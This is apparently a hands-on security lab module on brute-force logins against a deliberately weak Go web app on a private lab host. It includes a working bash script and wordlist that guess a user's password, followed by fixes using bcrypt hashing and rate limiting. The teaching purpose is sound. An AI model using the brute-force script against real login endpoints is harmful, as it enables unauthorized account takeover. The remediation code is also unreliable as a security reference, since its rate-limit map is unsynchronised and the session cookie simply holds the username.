Skip to main content

Module 10 — Brute Force Login (Attack / Understand / Fix)

Objective

Script a brute-force attack against the login endpoint, understand why plaintext passwords and no rate limiting are dangerous, then fix both with bcrypt hashing and rate limiting.

By the end of this module you will have:

OutcomeDetail
ExploitedBrute-forced a user password with a bash script
UnderstoodWhy plaintext passwords and unlimited login attempts are dangerous
FixedPasswords hashed with bcrypt, login rate-limited to 5 attempts per 5 minutes
VerifiedBrute force blocked after 5 attempts; passwords stored as hashes

Prerequisites

  • Module 09 complete (credential sniffing fixed)
  • App running and accessible via Nginx at http://192.168.56.13
  • SSH access to app-server: ssh app-server

1. Introduction — Passwords under pressure

In Module 08 you stole passwords through SQL injection. In Module 09 you captured them from network traffic. Both attacks exploited how passwords are transmitted. This module attacks how passwords are stored and how the login endpoint behaves under repeated guesses.

Two problems exist in the current application:

  1. Passwords are stored as plaintext in the database — if anyone gains database access (SQL injection, backup theft, insider threat), every password is immediately readable.
  2. No rate limiting on the login endpoint — an attacker can try thousands of passwords per second without being slowed down or blocked.

2. CTF Challenge

Challenge: Write a bash script that tries to login with the username operator and a list of common passwords. Can you discover the password? You have 20 minutes.

Rules:

  • You can only interact with the app through HTTP requests to http://192.168.56.13
  • Use curl in a loop to try each password
  • Your goal: find the correct password for the operator account

If you get stuck, reveal the hints below one at a time:

Hint 1

Create a text file with one password per line. Common passwords include password, 123456, admin123, operator123, operator456.

Hint 2

Use curl -s -o /dev/null -w "%{http_code}" to get just the HTTP status code. A 200 means success.

Hint 3

Loop through the file with while read PASSWORD; do ... done < wordlist.txt.

Once you have tried the challenge (or after 20 minutes), continue to the guided attack below.


3. Guided Attack — Brute force the operator password

Step 1 — Create a password wordlist

On your Mac, create a file with common passwords:

cat > wordlist.txt << 'EOF'
password
123456
admin
admin123
letmein
welcome
monkey
master
operator
operator123
operator456
password123
qwerty
abc123
trustno1
iloveyou
sunshine
password1
123456789
12345678
EOF

This is a tiny list of 20 passwords. Real attackers use lists with millions of entries (rockyou.txt has over 14 million passwords).

Step 2 — Write the brute-force script

cat > bruteforce.sh << 'SCRIPT'
#!/bin/bash
USERNAME="operator"
TARGET="http://192.168.56.13/api/login"
ATTEMPTS=0

echo "Brute-forcing login for user: $USERNAME"
echo "========================================="

while read PASSWORD; do
ATTEMPTS=$((ATTEMPTS + 1))
RESPONSE=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "$TARGET" \
-H "Content-Type: application/json" \
-d "{\"username\":\"$USERNAME\",\"password\":\"$PASSWORD\"}")

if [ "$RESPONSE" = "200" ]; then
echo "Attempt $ATTEMPTS: $PASSWORD ... HTTP $RESPONSE — SUCCESS!"
echo ""
echo "Password found: $PASSWORD"
echo "Total attempts: $ATTEMPTS"
exit 0
else
echo "Attempt $ATTEMPTS: $PASSWORD ... HTTP $RESPONSE"
fi
done < wordlist.txt

echo ""
echo "Password not found in wordlist ($ATTEMPTS attempts)"
SCRIPT

chmod +x bruteforce.sh

Step 3 — Run the attack

./bruteforce.sh

Expected output:

Brute-forcing login for user: operator
=========================================
Attempt 1: password ... HTTP 401
Attempt 2: 123456 ... HTTP 401
Attempt 3: admin ... HTTP 401
Attempt 4: admin123 ... HTTP 401
Attempt 5: letmein ... HTTP 401
Attempt 6: welcome ... HTTP 401
Attempt 7: monkey ... HTTP 401
Attempt 8: master ... HTTP 401
Attempt 9: operator ... HTTP 401
Attempt 10: operator123 ... HTTP 401
Attempt 11: operator456 ... HTTP 200 — SUCCESS!

Password found: operator456
Total attempts: 11

The password was found in 11 attempts. The entire attack took less than a second. There were no delays, no lockouts, and no alerts.

Step 4 — Check how fast unlimited attempts can go

time for i in $(seq 1 100); do
curl -s -o /dev/null -X POST http://192.168.56.13/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"wrong"}'
done

This sends 100 login attempts. Note the elapsed time — likely under 5 seconds. At that rate, an attacker could try over 1,000 passwords per minute.


4. Why This Works

Problem 1 — No rate limiting

The login endpoint processes every request immediately with no delay, no counter, and no lockout. There is nothing stopping an attacker from sending thousands of requests per second.

AspectCurrent stateWhat it means
Failed attempt delayNoneAttacker gets instant feedback
Account lockoutNoneUnlimited attempts allowed
IP-based blockingNoneSingle machine can try all passwords
Logging/alertingBasic log onlyNobody is notified of the attack

Problem 2 — Plaintext password storage

Connect to the database and look at the users table:

ssh db-server
psql -U appuser -d customerdb -h localhost -c "SELECT * FROM users;"

Output:

 id | username |  password   |         created_at
----+----------+-------------+----------------------------
1 | admin | admin123 | 2026-02-25 ...
2 | operator | operator456 | 2026-02-25 ...

Passwords are stored exactly as entered. Anyone who can read the database (via SQL injection, a database backup, a compromised admin account, or a stolen disk) gets every password immediately.

The real-world impact

  • Credential stuffing: Attackers use passwords leaked from other breaches. If a user reused their password, the attacker is in.
  • Database breaches: Over 80% of data breaches involve stolen credentials (Verizon DBIR). Plaintext storage turns a database leak into total account compromise.

5. The Fix — bcrypt + rate limiting

Part A — bcrypt password hashing

What is bcrypt?

bcrypt is a password hashing function designed to be slow. It takes a plaintext password and produces a hash that:

  • Cannot be reversed (you cannot get the password from the hash)
  • Is unique even for the same password (each hash includes a random salt)
  • Takes deliberate time to compute (making brute force impractical)

Step 1 — Update go.mod

SSH to app-server and edit go.mod:

ssh app-server
cd ~/customerapp
nano go.mod

Add the bcrypt dependency:

module customerapp

go 1.22

require (
github.com/lib/pq v1.10.9
golang.org/x/crypto v0.31.0
)

Then download it:

go mod tidy

Step 2 — Update the login handler in main.go

Open main.go:

nano main.go

Add "golang.org/x/crypto/bcrypt" to the imports:

import (
"database/sql"
"encoding/json"
"fmt"
"log"
"net/http"
"strings"
"time"

"golang.org/x/crypto/bcrypt"
_ "github.com/lib/pq"
)

Replace the login handler's password check. Find the query in loginHandler:

BEFORE:

row := db.QueryRow("SELECT id, username FROM users WHERE username = $1 AND password = $2", req.Username, req.Password)

var id int
var username string
err = row.Scan(&id, &username)
if err != nil {
http.Error(w, "Invalid username or password", http.StatusUnauthorized)
return
}

AFTER:

var id int
var username string
var hashedPassword string
row := db.QueryRow("SELECT id, username, password FROM users WHERE username = $1", req.Username)
err = row.Scan(&id, &username, &hashedPassword)
if err != nil {
http.Error(w, "Invalid username or password", http.StatusUnauthorized)
return
}

err = bcrypt.CompareHashAndPassword([]byte(hashedPassword), []byte(req.Password))
if err != nil {
http.Error(w, "Invalid username or password", http.StatusUnauthorized)
return
}

The key changes:

  • Query only by username (not password) — fetch the stored hash
  • Use bcrypt.CompareHashAndPassword to check the password against the hash
  • The database never sees the plaintext password in the query

Step 3 — Hash existing passwords in the database

Before the new login handler will work, you need to convert the existing plaintext passwords to bcrypt hashes. Create a small utility on app-server:

cat > hash_passwords.go << 'GOCODE'
package main

import (
"database/sql"
"fmt"
"log"

_ "github.com/lib/pq"
"golang.org/x/crypto/bcrypt"
)

func main() {
db, err := sql.Open("postgres", "host=192.168.56.11 port=5432 user=appuser password=apppassword123 dbname=customerdb sslmode=disable")
if err != nil {
log.Fatal(err)
}
defer db.Close()

rows, err := db.Query("SELECT id, username, password FROM users")
if err != nil {
log.Fatal(err)
}
defer rows.Close()

for rows.Next() {
var id int
var username, password string
err := rows.Scan(&id, &username, &password)
if err != nil {
log.Fatal(err)
}

// Skip if already hashed (bcrypt hashes start with $2)
if len(password) > 4 && password[:2] == "$2" {
fmt.Printf("User %s (id=%d): already hashed, skipping\n", username, id)
continue
}

hashed, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)
if err != nil {
log.Fatal(err)
}

_, err = db.Exec("UPDATE users SET password = $1 WHERE id = $2", string(hashed), id)
if err != nil {
log.Fatal(err)
}

fmt.Printf("User %s (id=%d): password hashed successfully\n", username, id)
}
}
GOCODE

go run hash_passwords.go

Expected output:

User admin (id=1): password hashed successfully
User operator (id=2): password hashed successfully

Step 4 — Verify passwords are hashed

ssh db-server
psql -U appuser -d customerdb -h localhost -c "SELECT id, username, password FROM users;"

Expected output:

 id | username |                           password
----+----------+--------------------------------------------------------------
1 | admin | $2a$10$xJ5Kz... (60 characters of bcrypt hash)
2 | operator | $2a$10$mR7Qw... (60 characters of bcrypt hash)

The plaintext passwords are gone. Even if an attacker dumps the entire database, they get hashes that take years to crack.

Part B — Rate limiting

Add a simple in-memory rate limiter that blocks an IP address after 5 failed login attempts within 5 minutes.

Step 1 — Add rate limiter code to main.go

Add these types and variables after the existing type declarations (before func main()):

type LoginAttempt struct {
Count int
FirstTry time.Time
}

var (
loginAttempts = make(map[string]*LoginAttempt)
)

const (
maxLoginAttempts = 5
loginWindowPeriod = 5 * time.Minute
)

func isRateLimited(ip string) bool {
attempt, exists := loginAttempts[ip]
if !exists {
return false
}

// Reset if the window has expired
if time.Since(attempt.FirstTry) > loginWindowPeriod {
delete(loginAttempts, ip)
return false
}

return attempt.Count >= maxLoginAttempts
}

func recordFailedLogin(ip string) {
attempt, exists := loginAttempts[ip]
if !exists || time.Since(attempt.FirstTry) > loginWindowPeriod {
loginAttempts[ip] = &LoginAttempt{
Count: 1,
FirstTry: time.Now(),
}
return
}
attempt.Count++
}

func clearLoginAttempts(ip string) {
delete(loginAttempts, ip)
}

Step 2 — Update the login handler to use rate limiting

Add rate limiting checks at the beginning of loginHandler, right after the method check:

func loginHandler(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}

// Rate limiting
ip := r.RemoteAddr
if isRateLimited(ip) {
http.Error(w, "Too many login attempts. Try again in 5 minutes.", http.StatusTooManyRequests)
log.Printf("Rate limited login attempt from %s", ip)
return
}

var req LoginRequest
err := json.NewDecoder(r.Body).Decode(&req)
if err != nil {
http.Error(w, "Invalid request body", http.StatusBadRequest)
return
}

if req.Username == "" || req.Password == "" {
http.Error(w, "Username and password are required", http.StatusBadRequest)
return
}

var id int
var username string
var hashedPassword string
row := db.QueryRow("SELECT id, username, password FROM users WHERE username = $1", req.Username)
err = row.Scan(&id, &username, &hashedPassword)
if err != nil {
recordFailedLogin(ip)
http.Error(w, "Invalid username or password", http.StatusUnauthorized)
return
}

err = bcrypt.CompareHashAndPassword([]byte(hashedPassword), []byte(req.Password))
if err != nil {
recordFailedLogin(ip)
http.Error(w, "Invalid username or password", http.StatusUnauthorized)
return
}

// Successful login — clear failed attempts
clearLoginAttempts(ip)

http.SetCookie(w, &http.Cookie{
Name: "session",
Value: username,
Path: "/",
})

w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(LoginResponse{
Message: "Login successful",
Username: username,
})
}

Step 3 — Rebuild and restart

cd ~/customerapp
go build -o customerapp . && sudo systemctl restart customerapp

Verify the app is running:

sudo systemctl status customerapp

6. Verify — Re-run the attacks

Verify brute force is blocked

Run the brute-force script again from your Mac:

./bruteforce.sh

Expected output:

Brute-forcing login for user: operator
=========================================
Attempt 1: password ... HTTP 401
Attempt 2: 123456 ... HTTP 401
Attempt 3: admin ... HTTP 401
Attempt 4: admin123 ... HTTP 401
Attempt 5: letmein ... HTTP 401
Attempt 6: welcome ... HTTP 429
Attempt 7: monkey ... HTTP 429
Attempt 8: master ... HTTP 429
...

After 5 failed attempts, every subsequent attempt returns HTTP 429 (Too Many Requests). The attacker is locked out for 5 minutes.

Verify normal login still works

curl -v -X POST http://192.168.56.13/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin123"}'

Expected: HTTP 200, login successful. The correct password still works.

Note: If you just ran the brute-force script, your IP may be rate-limited. Wait 5 minutes or restart the app (sudo systemctl restart customerapp) to clear the in-memory rate limiter.

Verify passwords are hashed in the database

ssh db-server
psql -U appuser -d customerdb -h localhost -c "SELECT username, length(password), left(password, 7) FROM users;"

Expected output:

 username | length |  left
----------+--------+---------
admin | 60 | $2a$10$
operator | 60 | $2a$10$

Passwords are 60-character bcrypt hashes starting with $2a$10$. Even with full database access, an attacker cannot read the original passwords.


Troubleshooting

ProblemSolution
go mod tidy fails with network errorCheck internet access on app-server: ping 8.8.8.8. The NAT adapter must be active.
Login fails after hashing passwordsMake sure you updated both the login handler (to use bcrypt.CompareHashAndPassword) and the database (ran hash_passwords.go).
hash_passwords.go won't compileRun it from ~/customerapp where go.mod is located. Run go mod tidy first.
Rate limiter not workingCheck that r.RemoteAddr is being used. If requests come through Nginx, the remote address may be Nginx's IP — all requests share the same limit, which is actually stricter.
All users locked outRestart the app to clear the in-memory rate limiter: sudo systemctl restart customerapp.

Summary

What you didWhat you learned
Brute-forced a password in secondsNo rate limiting means unlimited guesses at full speed
Viewed plaintext passwords in the databasePlaintext storage means one breach exposes all accounts
Added bcrypt password hashingHashed passwords take years to crack, even with database access
Added IP-based rate limitingAttackers are blocked after 5 failed attempts

The one rule to remember: Never store passwords in plaintext. Always hash with bcrypt (or argon2), and always rate-limit authentication endpoints.